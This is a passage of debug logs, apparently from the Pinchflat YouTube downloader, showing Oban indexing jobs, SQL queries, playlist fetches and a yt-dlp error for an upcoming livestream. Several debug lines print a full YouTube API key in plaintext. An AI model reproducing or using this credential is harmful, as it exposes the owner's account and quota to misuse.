("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800083, 28, ~U[2026-02-10 22:56:36Z], ~U[2026-02-10 22:56:36Z]] 16:56:36.082 [info] {"args":{"id":28},"id":3800044,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":91427,"event":"job:stop","queue_time":656287,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:36.693 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/11/9d/119d26907ceae1c02b7a3d24618c5193e62e3ae2fa2f39d24fb4ee563acfa9c0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 16:56:36.693 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 16:56:36.694 [debug] QUERY OK source="media_items" db=0.5ms idle=612.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 16:56:36.695 [debug] QUERY OK source="tasks" db=0.1ms idle=612.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800084, 19, ~U[2026-02-10 22:56:36Z], ~U[2026-02-10 22:56:36Z]] 16:56:36.695 [info] {"args":{"id":19},"id":3800039,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":2804697,"event":"job:stop","queue_time":929484,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:37.895 [info] {"args":{"id":16},"id":3800045,"meta":{},"system_time":1770764197895812635,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:37.896 [debug] QUERY OK source="sources" db=0.1ms idle=17.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 16:56:37.896 [debug] QUERY OK source="settings" db=0.0ms idle=17.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:37.896 [debug] QUERY OK source="media_profiles" db=0.0ms idle=17.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:56:37.896 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:37.896 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 16:56:37.896 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:37.896 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:56:38.028 [debug] QUERY OK source="media_items" db=0.6ms idle=131.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", "nbafT2w0cCQ", "R2oD1ZHNMFE", "85BykUan6pw", "xq4ZkfojSis", "Oarf76MCrss", "Xn_O2li_jpk", "gisdyTBMNyQ", "EN9JzxzDXU0", "rn_8GXNN7_Q", "72RxerDwzEo", "tMlHDnbEIDA", "ar0klhiJfDI", "xWL40q3DMoQ", "Sj3iI9jZCX8", "1v8u3ua6BPk", "b5Oy29TEVOE", "evV05QeSjAw", "lPaQInkWV7g", "KRIBVykhpC4", "bPTSSHRnnWw", "4ZX9T0kWb4Y", "voYdl7IFZsM", "Kn56bMZ9OE8", "_8W2LIfl5RE", "cUkoqppoFr8", "wcp1BfPUeOc", "YTHZLKFblKo", "jPhJbKBuNnA", "7qNOtgrIjO4", ...] 16:56:38.029 [debug] QUERY OK source="media_items" db=0.8ms idle=132.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 16:56:38.030 [debug] QUERY OK source="tasks" db=0.1ms idle=133.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800085, 16, ~U[2026-02-10 22:56:38Z], ~U[2026-02-10 22:56:38Z]] 16:56:38.030 [info] {"args":{"id":16},"id":3800045,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":134634,"event":"job:stop","queue_time":592765,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:38.897 [info] {"args":{"id":43},"id":3800046,"meta":{},"system_time":1770764198897892196,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:38.898 [debug] QUERY OK source="sources" db=0.2ms idle=867.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 16:56:38.898 [debug] QUERY OK source="settings" db=0.1ms idle=867.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:38.898 [debug] QUERY OK source="media_profiles" db=0.1ms idle=861.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:56:38.899 [debug] QUERY OK source="settings" db=0.0ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:38.899 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 16:56:38.899 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:38.899 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:56:38.996 [debug] QUERY OK source="media_items" db=0.6ms idle=97.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", "F5ShDcJl4qQ", "0zTOd9trqEo", "dsDy5VAw-xo", "lSwkoIQLFLo", "EJFAw1VRcsA", "3Qyaocw0u3o", "5UAM-ZKBcZs", "uGI0tkmyogU", "16AbSxpRFJo", "TUkra-5kybs", "8Xdl5psYVgQ", "eRWobpethq4", "PHjkSKQSzv4", "DJuloZc4QJw", "CpIHZSRBrgA", "Fd-SP-yoDbU", "VsuuYPwgbg0", "GYVUFfQ3OTk", "QcQqT4yMvro", "hsoiHKaqG2s", "BulZkf97cEQ", "Lf62N-s42_o", "v4KHDMvFQgg", "BPOglXCH0F8", ...] 16:56:38.997 [debug] QUERY OK source="media_items" db=0.3ms idle=98.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 16:56:38.997 [debug] QUERY OK source="tasks" db=0.1ms idle=98.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800086, 43, ~U[2026-02-10 22:56:38Z], ~U[2026-02-10 22:56:38Z]] 16:56:38.998 [info] {"args":{"id":43},"id":3800046,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":99997,"event":"job:stop","queue_time":523953,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:40.901 [info] {"args":{"id":25},"id":3800047,"meta":{},"system_time":1770764200900945122,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:40.901 [info] {"args":{"id":7},"id":3800048,"meta":{},"system_time":1770764200900998760,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:40.901 [debug] QUERY OK source="sources" db=0.1ms idle=22.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 16:56:40.901 [debug] QUERY OK source="sources" db=0.1ms idle=22.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 16:56:40.901 [debug] QUERY OK source="settings" db=0.1ms idle=22.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:40.901 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:40.901 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:56:40.901 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:40.901 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 16:56:40.902 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:56:40.902 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:40.902 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:56:40.902 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:40.902 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 16:56:40.902 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:40.902 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:56:41.047 [debug] QUERY OK source="media_items" db=0.5ms idle=145.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "Eq5PgdJmdOM", "UqsOOWYeAFc", "TPAj27g13Wg", "wrw-wgTVZvQ", "Afvl-iK85M4", "SZnw2gIhVlY", "aEYo2ImWVFQ", "iNtvFeR8nzE", "QzjxzaLmU68", "pHUmHk5ET0U", "9o-iezh5_cU", "NRRBKgV2nD4", "rFXunG2KAK4", "EeqhS_RCy0s", "vZeFT3hIyrI", "-peLrtm4Ta0", "RP0BOsCJLdY", "bOG_tawYloM", "rPQIbzbyWJM", "YXo4iJPfaYs", "tMjVg1ptQK0", "2r4aEvZdmDY", "Q1lZ8G1Jwd0", "DXveCg1SAvE", "ANdlfk9gxsE", "8VhD6efjAIQ", "3-SimVbHpUU", "PrXqo77aG38", "8_f_rJSxyug", "9dN7cSe5eaM", "mllcH8uTTk4", "UqkNC4DM0cY", "CmB681YpI74", "NzaT1laS9tU", "gPxhaxHyTq8", "Z0HLafo7bRU", "LvP4SNwbMtc", "Vmj54KWL47Q", "bzQ9b-kTrMQ", "893LjMkWwIk", "KAGgNIT4Fk0", "1r7gV4X760g", "4qKuUJaa5ow", "w-uDVkNJ_q8", "QYegK6M_1lY", "wMBNx2LFmo4", "TJ4KLo7rKqQ", "Bv-2HGhSRUA", "1w3y6oZb_fM", ...] 16:56:41.049 [debug] QUERY OK source="media_items" db=1.0ms idle=146.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 16:56:41.050 [debug] QUERY OK source="tasks" db=0.1ms idle=147.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800087, 25, ~U[2026-02-10 22:56:41Z], ~U[2026-02-10 22:56:41Z]] 16:56:41.050 [info] {"args":{"id":25},"id":3800047,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":149368,"event":"job:stop","queue_time":579424,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:41.321 [debug] QUERY OK source="media_items" db=0.8ms idle=270.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN 